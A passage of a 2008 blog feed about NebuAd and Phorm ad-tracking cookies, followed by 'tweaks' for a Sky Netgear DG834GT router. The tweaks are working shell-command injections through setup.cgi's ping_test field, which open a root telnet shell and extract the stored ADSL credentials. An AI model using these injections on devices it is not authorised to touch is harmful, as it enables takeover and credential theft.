The above search no longer works try &lt;a href="http://www.google.co.uk/search?num=100&amp;amp;hl=en&amp;amp;q=site%3Anebuad.com+optout+OR+optin_done&amp;amp;btnG=Search&amp;amp;meta=" rel="nofollow"&gt;http://www.google.co.uk/search?num=100&amp;amp;hl=en&amp;amp;q=site%3Anebuad.com+optout+OR+optin_done&amp;amp;btnG=Search&amp;amp;meta=&lt;/a&gt;.   &lt;br /&gt;
&lt;br /&gt;
Also cookie "h" is no longer set.   &lt;br /&gt;
&lt;br /&gt;
WARNING: if your ISP uses Nebuad and you've already opted-out, then opening the second search result shown in google (www.nebuad.com/privacy/optin_done.php) will almost certainly opt you back in. &lt;br /&gt;
&lt;br /&gt;
WARNING: I've just noticed that Firefox has a page pre-fetch feature which might result in the opt-in page being accessed and the cookie changed just by clicking on the google search above (depends on which link appears first I think)- if you click on the link above, please make sure you opt-out afterwards.&lt;br /&gt;
&lt;br /&gt;
Nebuad's opt-in/opt page can be found here:- www.nebuad.com/company/optout.php &lt;br /&gt;
&lt;br /&gt;
Opting in creates 2 sets of 5 cookies, "o","u","c","h","w", one set in "a.faireagle.com", and the other in the "b.faireagle.com" subdomain. Opting out sets "o"="9" and deletes the other cookies.&lt;br /&gt;
&lt;br /&gt;
o = 0 appears to indicate opted in.&lt;br /&gt;
o = 9 indicates opted out.&lt;br /&gt;
&lt;br /&gt;
My guess is "o" might be a set of binary flags eg &lt;br /&gt;
&lt;br /&gt;
bit #0 = 1 - don't track&lt;br /&gt;
bit #3 = 1 - don't show targetted adverts. &lt;br /&gt;
&lt;br /&gt;
'c' is the name of an adserver.&lt;br /&gt;
'h' and 'u' are set to matching 14 digit numbers.&lt;br /&gt;
'w' is another 14 digit number, which appears to count upwards (could be a date and time perhaps?).&lt;br /&gt;
&lt;br /&gt;
Different sets of numbers are generated for the a and b subdomains.&lt;br /&gt;
&lt;br /&gt;
If you look at the bottom of the opt-in page you'll see the actual opt-in urls passed using a couple of &amp;lt;script&amp;gt; tags right at the very bottom after the closing html tag, the browser will request these urls and the server will set the cookies in the response and close the connection (no actual javascript is returned by the response).    &lt;br /&gt;
&lt;br /&gt;
&amp;lt;script language="JavaScript" src="http://a.faireagle.com/a?t=o&amp;amp;track=yes&amp;amp;noads=none"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script language="JavaScript" src="http://b.faireagle.com/a?t=o&amp;amp;track=yes&amp;amp;noads=none"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And for the opt-out page.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script language="JavaScript" src="http://a.faireagle.com/a?t=o&amp;amp;track=no&amp;amp;noads=all"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script language="JavaScript" src="http://b.faireagle.com/a?t=o&amp;amp;track=no&amp;amp;noads=all"&amp;gt;&amp;lt;/script&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
There does not appear to be any measures in place to prevent an "evil" website from opting you back-in using the same method - try clicking on Google's cached optin_done link and check for faireagle.com cookies.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-6948545200280635175?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/6948545200280635175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=6948545200280635175' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/6948545200280635175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/6948545200280635175'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2008/05/nebuads-opt-out.html' title='Nebuad&apos;s opt-out'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-5370881099923823971</id><published>2008-04-24T16:43:00.021Z</published><updated>2010-10-01T15:35:08.112Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Phorm diagram'/><category scheme='http://www.blogger.com/atom/ns#' term='Phorming'/><title type='text'>Phorm Webwise diagram</title><content type='html'>&lt;table style="width:auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/lKMJ-FRw3JYUG5NrglcmTHS4SMg-O4-x5LQImWudb1A?feat=embedwebsite"&gt;&lt;img src="http://lh6.ggpht.com/_v3nnuWO87V0/SB9Qrjvwj_I/AAAAAAAAANY/GP5ep54RCLg/s400/phorming.png" height="329" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family:arial,sans-serif; font-size:11px; text-align:right"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;


A diagram showing how Phorm's system creates copies of its tracking cookie in each domain the brower fetches, based on the analysis published by Richard Clayton &lt;a href="http://www.lightbluetouchpaper.org/2008/04/04/the-phorm-webwise-system/"&gt;The Phorm Webwise System&lt;/a&gt;

&lt;BR&gt;&lt;BR&gt; Phorm's system will intercept requests that don't contain their "webwise" tracking cookie and send them through a series of redirects to access and transfer the unique identity number they allocate to you from your webwise.net master cookie to a tracking cookie they'll create for each site you visit.
&lt;BR&gt;&lt;BR&gt;
This cookie will expire after three days, until then your browser will send this cookie with future requests for the site and their system will strip the cookie from each request and use it to identify your profile as it analyses your http traffic - including the search parameters you enter into major search engines, and the content of the pages you view.&lt;BR&gt;&lt;BR&gt;

Dr Richard Clayton has updated his paper on Phorm webwise, after Phorm managed to recall more of the detail of their system &lt;a href="http://www.lightbluetouchpaper.org/2008/05/18/twisty-little-passages-all-alike/"&gt;twisty-little-passages-all-alike&lt;/a&gt;.

&lt;BR&gt;&lt;BR&gt;It now seem that an additonal redirect will occur if a webwise.net cookie isn't present to determine if the user is blocking webwise.net cookies, in which case the user's IP address will be blacklisted for 30 minutes to avoid infinite loops.&lt;BR&gt;&lt;BR&gt;

It seems logical to me that they would use a similar approach to determine if the user is blocking cookies for the actual site he is visiting, either by setting a test cookie with the first redirect if no cookies are present in the initial request, or by using an additional redirect.&lt;BR&gt;&lt;BR&gt;

A poster on &lt;a href="http://www.badphorm.co.uk/e107_plugins/forum/forum_viewtopic.php?2989.30"&gt;Badphorm&lt;/a&gt; has pointed out that because phorm's system redirects the browser to a third party domain (webwise.net), the webwise.net cookie is in fact a third party cookie.

&lt;BR&gt;&lt;BR&gt;
As reported in that thread Opera will correctly (according to rfc2965) block (neither send not accept) all cookies after a redirect to a third party domain occurs if the "accept only cookies from the site I visit" option has been enabled by the user. It will continue to block cookies until a user action occurs where the user can verify the domain requested -such as clicking on a link on the page (even if subsequently redirected back to the original URL).&lt;BR&gt;&lt;BR&gt; This will also result in the genuine website not being sent its cookies after a Phorm redirect, which will cause problems for users of Opera that block third party cookies.&lt;BR&gt;&lt;BR&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-5370881099923823971?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/5370881099923823971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=5370881099923823971' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/5370881099923823971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/5370881099923823971'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2008/04/phorm-webwise-diagram.html' title='Phorm Webwise diagram'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_v3nnuWO87V0/SB9Qrjvwj_I/AAAAAAAAANY/GP5ep54RCLg/s72-c/phorming.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-112703296342768943</id><published>2008-04-20T21:43:00.042Z</published><updated>2011-10-15T16:26:39.424Z</updated><title type='text'>Sky Netgear DG834GT-1skuk</title><content type='html'>These "tweaks" are currently only compatible with Firefox and Internet Explorer, unless otherwise indicated. &lt;br /&gt;
&lt;br /&gt;
&lt;div id="SKUKdg834gt"&gt;&lt;input id="SKUKipad" size="15" type="text" value="192.168.0.1" /&gt;&lt;br /&gt;
&lt;input onclick="SKUKadd2url();" type="button" value="change ip" /&gt;   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;input onclick="statsURL=&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;ifconfig;adslctl+info+--SNR;adslctl+info+--Hlog;echo+\\042\\\\074/textarea\\\\076\\\\074br\\\\076\\\\074textarea+rows=120+cols=140\\\\076\\042;ifconfig+ppp0;echo+Uptime+$(cat+/proc/uptime);echo+Wan+up+$(cat+/tmp/wan_uptime);adslctl+info+--stats;adslctl+info+--vendor|grep+Chip;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;;window.open(statsURL);" type="button" value="DG834GT Detailed Stats" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;ifconfig+ppp0;adslctl+info+--stats;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1%3E/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+%3E%261+2%3E%261;" id="SKUKstats2" rel="nofollow" target="_blank"&gt;DG834GT Detailed Stats &lt;/a&gt;&amp;nbsp;alternate version. (This version should also work in Opera and Safari)      &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table border="0" cellpadding="1" cellspacing="0" style="border-color: white; border-width: 1; border: solid;"&gt;&lt;tbody&gt;
&lt;tr style="height: 117.35pt;"&gt;      &lt;td style="background-color: black; border-color: grey; border-left: solid; border-width: 1; border: none; font-size: 10pt; height: 117.35pt; padding: 0pt 5pt 0pt 5pt; width: 20pt;"&gt;&lt;div class="Section1"&gt;&lt;span style="color: white;"&gt; &lt;/span&gt;&lt;br /&gt;
&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" style="margin-left: 0pt; width: 518pt;"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;SF:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Super Frame count&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;G.dmt framing&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;CRC:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;CRC error count&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;K:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of data bytes in DMT frame&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;ES:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Errored Seconds (Seconds with 1 or more CRC errors)&lt;/span&gt;&lt;/span&gt; &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;R:  &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of redundant (parity) bytes per Reed Solomon codeword&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;SES:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Severely Errored Seconds &lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;S:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of data frames per RS codeword&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;RS:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Reed Solomon codewords (FEC Data Frames)&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;D:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Interleave depth&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;RSCorr:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;RS Correctable errors (aka FEC)&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;RSUnCorr:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;RS Uncorrectable errors&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;ADSL2 framing&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;LOF:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Loss Of Framing&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;MSGc:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of bytes in overhead channel message&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Delay:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;delay due to interleaving (milliseconds)&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;B:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of bytes in Mux Data Frame&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;INP:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Impulse Noise Protection (milliseconds)&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;M:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of Mux Data Frames per Reed Solomon codeword&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;PER:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Overhead channel period (msec)&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;T:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of Mux Data Frames proceeding a synchronization byte&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;OR:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Bit rate of the overhead channel&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;R:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of redundant (parity) bytes per Reed Solomon codeword &lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;HEC:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;ATM checksum header error count&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;S:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Ratio of RS codeword over PMD Data Frame length&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;LOS:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Loss Of Signal&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;L:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;No. of bits in PMD Data Frame&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr align="left"&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;UAS:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Unavailable Seconds (No Signal)&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;D:&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;td style="vertical-align: top;"&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: x-small;"&gt;Interleave depth&lt;/span&gt;&lt;/span&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;/tbody&gt; &lt;/table&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;   &lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=start.htm&amp;amp;c4_IPAddr=127.0.0.1;PATH=/bin:/sbin:/usr/bin:/usr/sbin;unset+QUERY_STRING;sh+-c+%22utelnetd+-d+-l+/bin/sh+%3e/dev/null+2%3e/dev/null+%22%26" rel="nofollow" target="_blank"&gt;Enable telnet&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="telnet://192.168.0.1/" rel="nofollow"&gt;Open telnet console&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to disable type "killall utelnetd" in the console. (Enable telnet should also work in Opera and Safari)      &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;eval+$(nvram+get+pppoa_username);echo+Username+=+${name%25=};eval+$(nvram+get+pppoa_password);echo+Password+=+${name%25=};rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1%3E/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+%3E%261+2%3E%261;" rel="nofollow" target="_blank"&gt;Extract ADSL Password and Username&lt;/a&gt; (Should work in Opera) &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ppp_debug" rel="nofollow" target="_blank"&gt;PPP debug mode&lt;/a&gt; &amp;nbsp; logs PPP authentication attempts and LCP echo requests. Note this will cause your PPP connection to drop and reconnect. The PPP log can get very large if you leave it enabled. &amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/ppp_log" rel="nofollow" target="_blank"&gt;View PPP log file&lt;/a&gt; &amp;nbsp;(note that the PPP log contains your username and a hash of your password)&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=start.htm&amp;amp;c4_IPAddr=127.0.0.1;PATH=/bin:/sbin:/usr/bin:/usr/sbin;rm+/tmp/ppp_log" rel="nofollow" target="_blank"&gt;Delete PPP log file&lt;/a&gt; and cease PPP logging&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;&lt;h4&gt;Target Noise Margin&lt;/h4&gt;&lt;br /&gt;
Override Target Noise Margin &lt;input id="SKUKgtsnr2" onchange=";document.getElementById('SKUKgtsnrb2').disabled=isNaN(this.value);" size="3" type="text" value="100" /&gt;% of default target margin &lt;input id="SKUKgtsnrb2" onclick="window.open('http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;PATH=/usr/sbin;adslctl+configure+'+((document.getElementById('SKUKgtgdmt').checked)?'--mod+d+':'')+'--snr+XXX+&amp;gt;%261+2&amp;gt;%261;'.replace(/XXX/gm,document.getElementById('SKUKgtsnr2').value));SKUKadd2url();" type="button" value="adjust Margin &amp;amp; ReSync" /&gt;  &lt;span style="font-size: xx-small;"&gt;&amp;nbsp;86%=6dB, 100%=7dB(default), 114%= 8db, 180%=12.6db...&lt;/span&gt;    (also works in Opera)&lt;br /&gt;
&lt;br /&gt;
&lt;input id="SKUKgtgdmt" type="checkbox" /&gt; Force G.DMT (ADSL1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
